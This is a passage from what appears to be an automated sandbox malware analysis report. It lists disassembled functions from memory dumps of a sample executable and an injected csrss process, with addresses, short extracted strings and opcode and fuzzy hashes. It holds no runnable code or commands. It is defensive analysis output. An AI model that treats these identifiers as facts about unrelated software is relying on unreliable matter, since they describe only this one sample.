M_^0, xrefs: 00007FFD9B8A0722
M_^8, xrefs: 00007FFD9B8A0762
M_^%, xrefs: 00007FFD9B8A06C9
M_^$, xrefs: 00007FFD9B8A06C2

Memory Dump Source

Source File: 00000024.00000002.1993749712.00007FFD9B8A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_36_2_7ffd9b8a0000_csrss.jbxd

Similarity

API ID:
String ID: M_^$$M_^%$M_^0$M_^1$M_^8$M_^9$M_^;$]+=$+<M
API String ID: 0-891763995
Opcode ID: 323b6791108e2f1d79fb4e7e8d4ba5052ce98ce449f5ad03b82d0080fe5d891a
Instruction ID: 436637bb78173eb1acf1d3ae442d4b72ad839c5aeb7fac3d54be4f1043375ce9
Opcode Fuzzy Hash: 323b6791108e2f1d79fb4e7e8d4ba5052ce98ce449f5ad03b82d0080fe5d891a
Instruction Fuzzy Hash: 28911F97B0D53A89D30E36AD7D6A8FD7B00DF8223970843B7D1AE8B0C7AC48608751D5

Function 00007FFD9B8A06D3 Relevance: 11.5, Strings: 9, Instructions: 227COMMON

Download Yara Rule

Strings

M_^;, xrefs: 00007FFD9B8A077A
M_^1, xrefs: 00007FFD9B8A072A
]+=, xrefs: 00007FFD9B8A078E
+<M, xrefs: 00007FFD9B8A088F
M_^9, xrefs: 00007FFD9B8A076A
M_^0, xrefs: 00007FFD9B8A0722
M_^8, xrefs: 00007FFD9B8A0762
M_^%, xrefs: 00007FFD9B8A06C9
M_^$, xrefs: 00007FFD9B8A06C2

Memory Dump Source

Source File: 00000024.00000002.1993749712.00007FFD9B8A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_36_2_7ffd9b8a0000_csrss.jbxd

Similarity

API ID:
String ID: M_^$$M_^%$M_^0$M_^1$M_^8$M_^9$M_^;$]+=$+<M
API String ID: 0-891763995
Opcode ID: a76a0c19b5a0a1608b31703acbd0a5b7b06916ccd475b83a822a39fbb4bcf29d
Instruction ID: 5b03a5496408991bdcf1e0e9d2bcdb2af46408014f47790f567bdaad5279a9ea
Opcode Fuzzy Hash: a76a0c19b5a0a1608b31703acbd0a5b7b06916ccd475b83a822a39fbb4bcf29d
Instruction Fuzzy Hash: DB513F96B0C53685E31E37A83E6A9F92704CF4133DB0487B7E16E8A0DB6C9D648361D9

Function 00007FFD9B8A06FA Relevance: 10.2, Strings: 8, Instructions: 215COMMON

Download Yara Rule

Strings

M_^;, xrefs: 00007FFD9B8A077A
M_^1, xrefs: 00007FFD9B8A072A
]+=, xrefs: 00007FFD9B8A078E
+<M, xrefs: 00007FFD9B8A088F
M_^9, xrefs: 00007FFD9B8A076A
M_^0, xrefs: 00007FFD9B8A0722
M_^8, xrefs: 00007FFD9B8A0762
M_^+, xrefs: 00007FFD9B8A06FA

Memory Dump Source

Source File: 00000024.00000002.1993749712.00007FFD9B8A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_36_2_7ffd9b8a0000_csrss.jbxd

Similarity

API ID:
String ID: M_^+$M_^0$M_^1$M_^8$M_^9$M_^;$]+=$+<M
API String ID: 0-1271997427
Opcode ID: 6277eb1126aa9190b1e177d63a09428f6f50a705f6de5d57284840fd37de887f
Instruction ID: 6d081ac6525d67a2a227d827330dc544efa4c9de401213a7af1bb2b0079ba7ea
Opcode Fuzzy Hash: 6277eb1126aa9190b1e177d63a09428f6f50a705f6de5d57284840fd37de887f
Instruction Fuzzy Hash: 3E512293A0C53684E30E36B83E6A9FD2704CF4137DB0487B7E16E8A0CB6C9C648361D9

Function 00007FFD9B8909B0 Relevance: 5.2, Strings: 4, Instructions: 182COMMON

Download Yara Rule

Strings

!k9, xrefs: 00007FFD9B890B4E
"s9, xrefs: 00007FFD9B890B46
#{9, xrefs: 00007FFD9B890B3E
c9, xrefs: 00007FFD9B890B56

Memory Dump Source

Source File: 00000024.00000002.1993749712.00007FFD9B890000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B890000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_36_2_7ffd9b890000_csrss.jbxd

Similarity

API ID:
String ID: c9$!k9$"s9$#{9
API String ID: 0-1692736845
Opcode ID: 7728e2895f31fdb70d85e51e0f617a9a667271e4eacce4fd52b16b7a6b83e3f1
Instruction ID: 6d9b1f384a9aeedcfe680253e9fb06775860d90a8925d43fa8f2b5ba7ae2950f
Opcode Fuzzy Hash: 7728e2895f31fdb70d85e51e0f617a9a667271e4eacce4fd52b16b7a6b83e3f1
Instruction Fuzzy Hash: 6541C147B1957686E21F33FC79299ED9B84CF8527DB0842B7E16E8A0C75C88208393E5

Analysis Process: Gg6wivFINd.exePID: 7948, Parent PID: 2580COMMON

Executed Functions

Function 00007FFD9B8A0D4C Relevance: 1.5, Strings: 1, Instructions: 258COMMON

Download Yara Rule

Strings

5Y_H, xrefs: 00007FFD9B8A0DF3

Memory Dump Source

Source File: 00000027.00000002.2090333242.00007FFD9B8A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_39_2_7ffd9b8a0000_Gg6wivFINd.jbxd

Similarity

API ID:
String ID: 5Y_H
API String ID: 0-3237497481
Opcode ID: b1470f0a9f848460597aac07cc69eae605f0dcd3fdf0f9a33b59f7496b69feb0
Instruction ID: 9a56d7de5c5dd9fe38e64aa8f16f4bab3312c9c27cdcd07d7ec2b8520f1bc835
Opcode Fuzzy Hash: b1470f0a9f848460597aac07cc69eae605f0dcd3fdf0f9a33b59f7496b69feb0
Instruction Fuzzy Hash: FF910571A19A8D8FE759DB6888797A8BFE1FF9A310F4001BAD04DD72E2DB791411C710

Function 00007FFD9B8D1625 Relevance: .5, Instructions: 471COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000027.00000002.2090333242.00007FFD9B8D1000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8D1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_39_2_7ffd9b8d1000_Gg6wivFINd.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b468431eec3a3b63c5add59e3e421324e7f61f6667be1842e5f5b56a5a9841e0
Instruction ID: 118ba99548558b86ff60e0ad893316e2345382feb083b095e32d2154456a7128
Opcode Fuzzy Hash: b468431eec3a3b63c5add59e3e421324e7f61f6667be1842e5f5b56a5a9841e0
Instruction Fuzzy Hash: 06D1DE31A2E6990BE32D5B688C921B177D1EFC6315B59877ED8DFC309BD928A40783C1

Function 00007FFD9B8D880D Relevance: 2.6, Strings: 2, Instructions: 148COMMON

Download Yara Rule

Strings

I_^, xrefs: 00007FFD9B8D8762
I_^, xrefs: 00007FFD9B8D882A

Memory Dump Source

Source File: 00000027.00000002.2090333242.00007FFD9B8D1000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8D1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_39_2_7ffd9b8d1000_Gg6wivFINd.jbxd

Similarity

API ID:
String ID: I_^$I_^
API String ID: 0-3622803218
Opcode ID: bf91421b8c62c4e91eb29723cd53751e1a9613f2b69aa7676f4d58fc069d1680
Instruction ID: 99a70d343ad72ea732364921c3b792cf28d21104a1fcd5cd5f18fb00374aa6f7
Opcode Fuzzy Hash: bf91421b8c62c4e91eb29723cd53751e1a9613f2b69aa7676f4d58fc069d1680
Instruction Fuzzy Hash: 404106B3B0E6595BE72AA76DFD664D437E0FF8522CB0902F3C5988B193FC14B50A4285

Function 00007FFD9B8D86F0 Relevance: 2.6, Strings: 2, Instructions: 117COMMON

Download Yara Rule

Strings

I_^, xrefs: 00007FFD9B8D8762
I_^, xrefs: 00007FFD9B8D8712

Memory Dump Source

Source File: 00000027.00000002.2090333242.00007FFD9B8D1000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8D1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_39_2_7ffd9b8d1000_Gg6wivFINd.jbxd

Similarity

API ID:
String ID: I_^$I_^
API String ID: 0-3622803218
Opcode ID: b48cc4c6367a9a54a51cf91aa6b2a630130eaae2b8f96a8a3d4ce0207cf89c15
Instruction ID: 60305e499c92f4c96c58acafd5da887ccbd280ed7df0a753aa7e945b196c617c
Opcode Fuzzy Hash: b48cc4c6367a9a54a51cf91aa6b2a630130eaae2b8f96a8a3d4ce0207cf89c15
Instruction Fuzzy Hash: 5B3120B370EA4D5BE32AA7ADEDA64D437E0FF5121CB0901F7C5688B293FC54A50A8245

Function 00007FFD9B8D8835 Relevance: 1.3, Strings: 1, Instructions: 55COMMON

Download Yara Rule

Strings

I_^, xrefs: 00007FFD9B8D886A

Memory Dump Source

Source File: 00000027.00000002.2090333242.00007FFD9B8D1000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8D1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_39_2_7ffd9b8d1000_Gg6wivFINd.jbxd

Similarity

API ID:
String ID: I_^
API String ID: 0-838488629
Opcode ID: 93a5e98f58be2cd374a0f96c06559c9a5242ef30d2c2063e4a75d5117e41bd8e
Instruction ID: c70abd5d8265b10261364bff8b3511876e3635e1d4a7ef1193c0bf21d99d7be2
Opcode Fuzzy Hash: 93a5e98f58be2cd374a0f96c06559c9a5242ef30d2c2063e4a75d5117e41bd8e
Instruction Fuzzy Hash: 7201AB73F095488FD325C75DDCAA8A033E0FFA4718B0603BBC894CB563F96465678681

Function 00007FFD9B8C5B64 Relevance: 1.3, Strings: 1, Instructions: 30COMMON

Download Yara Rule

Strings

M, xrefs: 00007FFD9B8C5B86

Memory Dump Source

Source File: 00000027.00000002.2090333242.00007FFD9B8C3000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8C3000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_39_2_7ffd9b8c3000_Gg6wivFINd.jbxd

Similarity

API ID:
String ID: M
API String ID: 0-3664761504
Opcode ID: 0f7538dac67a7f244b410f575a40b2929af4e19b743c09cbee4b948767903081
Instruction ID: 25dd4c675533781a858cd2526d32aa0ff33e40a966c2b8adcea134d2ff1c5b80
Opcode Fuzzy Hash: 0f7538dac67a7f244b410f575a40b2929af4e19b743c09cbee4b948767903081
Instruction Fuzzy Hash: 6AF0823054F3D44FCB16DA7888284547FB0EF5721070991EFC085CB1A3DA18884AC701

Function 00007FFD9B8DAAD9 Relevance: 1.3, Strings: 1, Instructions: 29COMMON

Download Yara Rule

Strings

M, xrefs: 00007FFD9B8DAAF6

Memory Dump Source

Source File: 00000027.00000002.2090333242.00007FFD9B8D1000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8D1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_39_2_7ffd9b8d1000_Gg6wivFINd.jbxd

Similarity

API ID:
String ID: M
API String ID: 0-3664761504
Opcode ID: 0dc79508ceb9f11721cac5b300685153d04d6afeba82a119ef888007328889b6
Instruction ID: 798431b5e0e120dc1192932c8ed9217e1ee817697977c42e2610827b089646f4
Opcode Fuzzy Hash: 0dc79508ceb9f11721cac5b300685153d04d6afeba82a119ef888007328889b6
Instruction Fuzzy Hash: CDF0A96060F3C44FCB1AAB3488688187FA0EE6B20034A42EFC049CB1A3EA288885C701

Function 00007FFD9B8D21E9 Relevance: 1.3, Strings: 1, Instructions: 26COMMON

Download Yara Rule

Strings

M, xrefs: 00007FFD9B8D2206

Memory Dump Source

Source File: 00000027.00000002.2090333242.00007FFD9B8D1000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8D1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_39_2_7ffd9b8d1000_Gg6wivFINd.jbxd

Similarity

API ID:
String ID: M
API String ID: 0-3664761504
Opcode ID: 398282364544d25d35aaaf4672a5ebd955670acb390cdf2e05a2b5c5a08e5b35
Instruction ID: 0f0f00c688661cdf4f982958a98a3a912064739879a156b5817e0bef3e4d677a
Opcode Fuzzy Hash: 398282364544d25d35aaaf4672a5ebd955670acb390cdf2e05a2b5c5a08e5b35
Instruction Fuzzy Hash: 8AE06D2060E3C08FCB16AB3488688547F60EE6720174A52EFC046CF1A3EA2D8986CB01

Function 00007FFD9B8D3479 Relevance: 1.3, Strings: 1, Instructions: 26COMMON

Download Yara Rule

Strings

M, xrefs: 00007FFD9B8D3496

Memory Dump Source

Source File: 00000027.00000002.2090333242.00007FFD9B8D1000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8D1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_39_2_7ffd9b8d1000_Gg6wivFINd.jbxd

Similarity

API ID:
String ID: M
API String ID: 0-3664761504
Opcode ID: 4a8e4a8f597a4a3e6813092c966bfb03a571af712c5925d52cb04d1b18ab1b3c
Instruction ID: c494779b6e4d0c378fdc5a9ca115cfe0582905b5175d7e2ac76e71fc1b15279a
Opcode Fuzzy Hash: 4a8e4a8f597a4a3e6813092c966bfb03a571af712c5925d52cb04d1b18ab1b3c
Instruction Fuzzy Hash: 4FE06D7160E7C44FC71AAA388869454BFA0EF6721174A42EFC045CF1A3EA2D8889C701

Function 00007FFD9B8DB0A9 Relevance: 1.3, Strings: 1, Instructions: 25COMMON

Download Yara Rule

Strings

I, xrefs: 00007FFD9B8DB0C6

Memory Dump Source

Source File: 00000027.00000002.2090333242.00007FFD9B8D1000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8D1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_39_2_7ffd9b8d1000_Gg6wivFINd.jbxd

Similarity

API ID:
String ID: I
API String ID: 0-3707901625
Opcode ID: 522c2071a9e9f737863b7af1563be138dffe46298157cb1e9fa8bf6eb36ff7a9
Instruction ID: aef4f0976d14c5bb117ad757949d1f3caefdbee113686ea21801a8c98734e6a6
Opcode Fuzzy Hash: 522c2071a9e9f737863b7af1563be138dffe46298157cb1e9fa8bf6eb36ff7a9
Instruction Fuzzy Hash: EEE0656190F3C04FCB06AB3488A58043FA0AE6B21078A42EEC085CF1B3EA298889C701

Function 00007FFD9B8C9639 Relevance: 1.3, Strings: 1, Instructions: 22COMMON

Download Yara Rule

Strings

I, xrefs: 00007FFD9B8C9656

Memory Dump Source

Source File: 00000027.00000002.2090333242.00007FFD9B8C3000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8C3000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_39_2_7ffd9b8c3000_Gg6wivFINd.jbxd

Similarity

API ID:
String ID: I
API String ID: 0-3707901625
Opcode ID: c355a6193895596a0014441ceb6e563a2b5bce3cd9dad6cbcc5d7367f7cd7da1
Instruction ID: 61ff28ab4a6e5536f89324285d58c4a312872af93dde3d18c63d5f1e432232dc
Opcode Fuzzy Hash: c355a6193895596a0014441ceb6e563a2b5bce3cd9dad6cbcc5d7367f7cd7da1
Instruction Fuzzy Hash: 62E01A7054A3C04FCB06EB7484699443F60DE6721178A41DEC089CF1B3E62E894AC701

Function 00007FFD9B8D83D9 Relevance: 1.3, Strings: 1, Instructions: 22COMMON

Download Yara Rule

Strings

I, xrefs: 00007FFD9B8D83F6

Memory Dump Source

Source File: 00000027.00000002.2090333242.00007FFD9B8D1000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8D1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_39_2_7ffd9b8d1000_Gg6wivFINd.jbxd

Similarity

API ID:
String ID: I
API String ID: 0-3707901625
Opcode ID: ac99a378e39336a8266c0ad05f5fb92510ea08430124b8cbe126b3c7bc488c24
Instruction ID: 2495727ba402ab9ddcb5d2339fe509378c461c03f6015124ee7cdb5eef7b4d06
Opcode Fuzzy Hash: ac99a378e39336a8266c0ad05f5fb92510ea08430124b8cbe126b3c7bc488c24
Instruction Fuzzy Hash: 0BE01A7154E3C08FCB0AAB7488698443F70AE6B21078B41DEC049CF1B3D62EC949C711

Function 00007FFD9B8D2279 Relevance: 1.3, Strings: 1, Instructions: 22COMMON

Download Yara Rule

Strings

I, xrefs: 00007FFD9B8D2296

Memory Dump Source

Source File: 00000027.00000002.2090333242.00007FFD9B8D1000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8D1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_39_2_7ffd9b8d1000_Gg6wivFINd.jbxd

Similarity

API ID:
String ID: I
API String ID: 0-3707901625
Opcode ID: 0608662f01651ad901ce9885fca7bef9e4132f176da1daf7fd406b96dcc90893
Instruction ID: fcbf18505f88a0bc6db27ac50af53d58510b8ecfb9556354bac1fa2f008e2760
Opcode Fuzzy Hash: 0608662f01651ad901ce9885fca7bef9e4132f176da1daf7fd406b96dcc90893
Instruction Fuzzy Hash: C3E04F7154A3C04FCB06EB7484698443F70EE6721078B41DEC04ACF1B3E62E894AC701

Function 00007FFD9B8D7595 Relevance: .3, Instructions: 347COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000027.00000002.2090333242.00007FFD9B8D1000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8D1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_39_2_7ffd9b8d1000_Gg6wivFINd.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9f07cc354f770321714149756c0fdebb5e6b05c130db3084e27dc5cfca753eab
Instruction ID: fcfe46c09997a41bc9f650121b8adc378affe4a80186cf98665ddfe05b9ea9fe
Opcode Fuzzy Hash: 9f07cc354f770321714149756c0fdebb5e6b05c130db3084e27dc5cfca753eab
Instruction Fuzzy Hash: BEC14535A0D6898FE765EB64C8656753BA1EF89314F1902BFD04DC71E3CE29AD02C781

Function 00007FFD9B8C9821 Relevance: .3, Instructions: 316COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000027.00000002.2090333242.00007FFD9B8C3000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8C3000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_39_2_7ffd9b8c3000_Gg6wivFINd.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7819939438a19abaed76dd01115fc465bf967dfe9a0e09982dd27328a62f3cb5
Instruction ID: 1eadb2a0e639ff01e27bef242fb9050f535a1350228df1f7e62dfa83abcc3a8b
Opcode Fuzzy Hash: 7819939438a19abaed76dd01115fc465bf967dfe9a0e09982dd27328a62f3cb5
Instruction Fuzzy Hash: 99A1B370B1890E8FDB59EB68C4A4AB973E1FF99314B5141BAD01DC32E6DF38A842C741

Function 00007FFD9B8CF8D5 Relevance: .2, Instructions: 155COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000027.00000002.2090333242.00007FFD9B8C3000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8C3000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_39_2_7ffd9b8c3000_Gg6wivFINd.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fef075dac25c7e9af87c35b8e02d73648cfc599188f5b1fa3acd364dc608b25e
Instruction ID: fd33e1446730f28bdb2f197c4c3e0284e0dcbdc4e766af713df65ce0e9946011
Opcode Fuzzy Hash: fef075dac25c7e9af87c35b8e02d73648cfc599188f5b1fa3acd364dc608b25e
Instruction Fuzzy Hash: FE419D61A0E7C90FD7179B385C742647FB19F6B210B4E41EBD489CB1E7EA08594AC362

Function 00007FFD9B8A08D0 Relevance: .2, Instructions: 155COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000027.00000002.2090333242.00007FFD9B8A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_39_2_7ffd9b8a0000_Gg6wivFINd.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ad9be8546a395040d88e35d0ef2356fc5fef66de44c180ff1dfaab8df4807027
Instruction ID: 322a5fcdaa7557fd02f381408dcbb34f972497700fadb46262df308e7fbdcc9c
Opcode Fuzzy Hash: ad9be8546a395040d88e35d0ef2356fc5fef66de44c180ff1dfaab8df4807027
Instruction Fuzzy Hash: 9A414B22B0D5694EE709B7BC74AA6F97780EF89329F0401FBD04EC71E7DD1969428385

Function 00007FFD9B8A0998 Relevance: .1, Instructions: 135COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000027.00000002.2090333242.00007FFD9B8A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_39_2_7ffd9b8a0000_Gg6wivFINd.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c8ca1ced1c62887097fc5eb6b68e90184695ba5429b1c96b16b02f7ff8b9c859
Instruction ID: 99fafaccb70fcfb9728cb0ab30f7c883247259e7a5f089b594c90e8525e92d83
Opcode Fuzzy Hash: c8ca1ced1c62887097fc5eb6b68e90184695ba5429b1c96b16b02f7ff8b9c859
Instruction Fuzzy Hash: E1413720B1E94E4FE798E77C58BA67977C5EF99315B4100BAE40DC32E7ED18AD418341

Function 00007FFD9B8D26A8 Relevance: .1, Instructions: 86COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000027.00000002.2090333242.00007FFD9B8D1000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8D1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_39_2_7ffd9b8d1000_Gg6wivFINd.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d0804cd848850011486fcecdf446c9097f30b17e4072065f9153c93f11658090
Instruction ID: 9451e5866796dfc7a4a2c53792a4af9777e7b2abc78b96a31657ea1f94401602
Opcode Fuzzy Hash: d0804cd848850011486fcecdf446c9097f30b17e4072065f9153c93f11658090
Instruction Fuzzy Hash: 9221E722B0DA4E8BE768ABE8A8B66B46691EFD8314F0503B7D40CC61E3DC1929864341

Function 00007FFD9B8A0C25 Relevance: .1, Instructions: 84COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000027.00000002.2090333242.00007FFD9B8A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_39_2_7ffd9b8a0000_Gg6wivFINd.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7d08b1c0aa1afde52f7d9be73d5c57f6b9f412a6957715dc2b165daa1e147aed
Instruction ID: b878614cb3be7693428ad83d6cd8401983e2a7479a02897998e2bbfffd9d04a3
Opcode Fuzzy Hash: 7d08b1c0aa1afde52f7d9be73d5c57f6b9f412a6957715dc2b165daa1e147aed
Instruction Fuzzy Hash: A1213C35B1E69DCAE722A7A89C650EC7B60EF56324F0541F3C04C8B1D3DD38264687A1

Function 00007FFD9B8DB360 Relevance: .1, Instructions: 78COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000027.00000002.2090333242.00007FFD9B8D1000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8D1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_39_2_7ffd9b8d1000_Gg6wivFINd.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c0cc5e54924b1e776ec4377b36968357c98540732d8bc8daf05fd1c7797640b3
Instruction ID: 154f311dc2596d027bcd6e3ea6b1589009e9f96f1a496d26bd731a6bbd321bd8
Opcode Fuzzy Hash: c0cc5e54924b1e776ec4377b36968357c98540732d8bc8daf05fd1c7797640b3
Instruction Fuzzy Hash: 9F219232B0991D8FE6A9AB9884A57B872D5FFDC304F410336D40DC7191DE2869819784

Function 00007FFD9B8D8768 Relevance: .1, Instructions: 75COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000027.00000002.2090333242.00007FFD9B8D1000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8D1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_39_2_7ffd9b8d1000_Gg6wivFINd.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0f115af60573e7902492c64a2d3221425cb3c808ba1726fbc9520ccdcddf3aad
Instruction ID: de69d820ba6d481bfb7f4cbe42b47a4a6622e6083cdfac8aeb6900f264c50696
Opcode Fuzzy Hash: 0f115af60573e7902492c64a2d3221425cb3c808ba1726fbc9520ccdcddf3aad
Instruction Fuzzy Hash: B5212E7370A5494BE72AAB6DED664D437E0FF5532CB0902F7C45C8B193FC64B50A8285

Function 00007FFD9B8B458D Relevance: .1, Instructions: 69COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000027.00000002.2090333242.00007FFD9B8B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_39_2_7ffd9b8b0000_Gg6wivFINd.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 26d178411527a7f42eb5c6f7bf5b232e80803752ff656f5f24b103d1aedb7343
Instruction ID: 30e295a21fbc1846b6b34992fc6f7e9f9aa77a4c569201902d5948a341f22f2e
Opcode Fuzzy Hash: 26d178411527a7f42eb5c6f7bf5b232e80803752ff656f5f24b103d1aedb7343
Instruction Fuzzy Hash: AE214F30F1941F8EEB64DBA8D865ABE76B1FF48300F540639C019E32DADF7869019B81

Function 00007FFD9B8D2972 Relevance: .1, Instructions: 63COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000027.00000002.2090333242.00007FFD9B8D1000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8D1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_39_2_7ffd9b8d1000_Gg6wivFINd.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8d7e3d07c00ad0d6fc7cdc3e45364904488ddd9b2d014b068333fc38496e163b
Instruction ID: 3c5ea36742ba96e722e12d213d74f3916a68beef112bde6b3da0f007acab2671
Opcode Fuzzy Hash: 8d7e3d07c00ad0d6fc7cdc3e45364904488ddd9b2d014b068333fc38496e163b
Instruction Fuzzy Hash: 5111B431B0D91E8FEB68EB88D4617A873A1EBD8310F15037AD41DC72E6CD296D418781

Function 00007FFD9B8D8790 Relevance: .1, Instructions: 61COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000027.00000002.2090333242.00007FFD9B8D1000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8D1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_39_2_7ffd9b8d1000_Gg6wivFINd.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 82a68504aeb8ff2469f816140c556b0d4f6be1494f4c2a728a2ac49f1d517bbd
Instruction ID: e64cf13a8ca82acd719f766a29bd6ea11f54dcb357ea6f7a1b45c997bbeb0039
Opcode Fuzzy Hash: 82a68504aeb8ff2469f816140c556b0d4f6be1494f4c2a728a2ac49f1d517bbd
Instruction Fuzzy Hash: 5A11407370E6594BE31AA76DECB64D437D0EF5122CB4C01FBC0598B1A3FC44A44A8245

Function 00007FFD9B8A108D Relevance: .1, Instructions: 56COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000027.00000002.2090333242.00007FFD9B8A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_39_2_7ffd9b8a0000_Gg6wivFINd.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4395e5f383e1be114c6e2ee0caa0b60a4b202949406754df8b945a1b0c50860b
Instruction ID: 5d55f1ce4253ccc8e60b607a0a6859b4e46bc38024915833f843d122be8ed590
Opcode Fuzzy Hash: 4395e5f383e1be114c6e2ee0caa0b60a4b202949406754df8b945a1b0c50860b
Instruction Fuzzy Hash: 2F012B21A8F6D50FE72A57B05C729A13FA0DF8721070A02FAD099CB1E3CC4D5986C361

Function 00007FFD9B8A4254 Relevance: .1, Instructions: 55COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000027.00000002.2090333242.00007FFD9B8A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_39_2_7ffd9b8a0000_Gg6wivFINd.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6448dcaff87043966bd6d0dcbb11f8ae13f82de2a0bf1b707deb79c305abb79c
Instruction ID: 83503006b124ad7434b90d0159eddbd53d23ecabede9c2bbfed5ac0c75feeea7
Opcode Fuzzy Hash: 6448dcaff87043966bd6d0dcbb11f8ae13f82de2a0bf1b707deb79c305abb79c
Instruction Fuzzy Hash: 7F119931A0992DCFDFA5DB58C464BA973E1EB69315F1501A9C40EE72A0CB75AE80CF81

Function 00007FFD9B8A0C38 Relevance: .1, Instructions: 54COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000027.00000002.2090333242.00007FFD9B8A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_39_2_7ffd9b8a0000_Gg6wivFINd.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 622d4cb5851ad5df6e15a9e1b5d6c8c1decc745fa23dcd0913648d0b48eb1346
Instruction ID: abe2d75de4fd3f25ffd06ca58cfb81b6ba6deb65071a96dc19163d1e95196b08
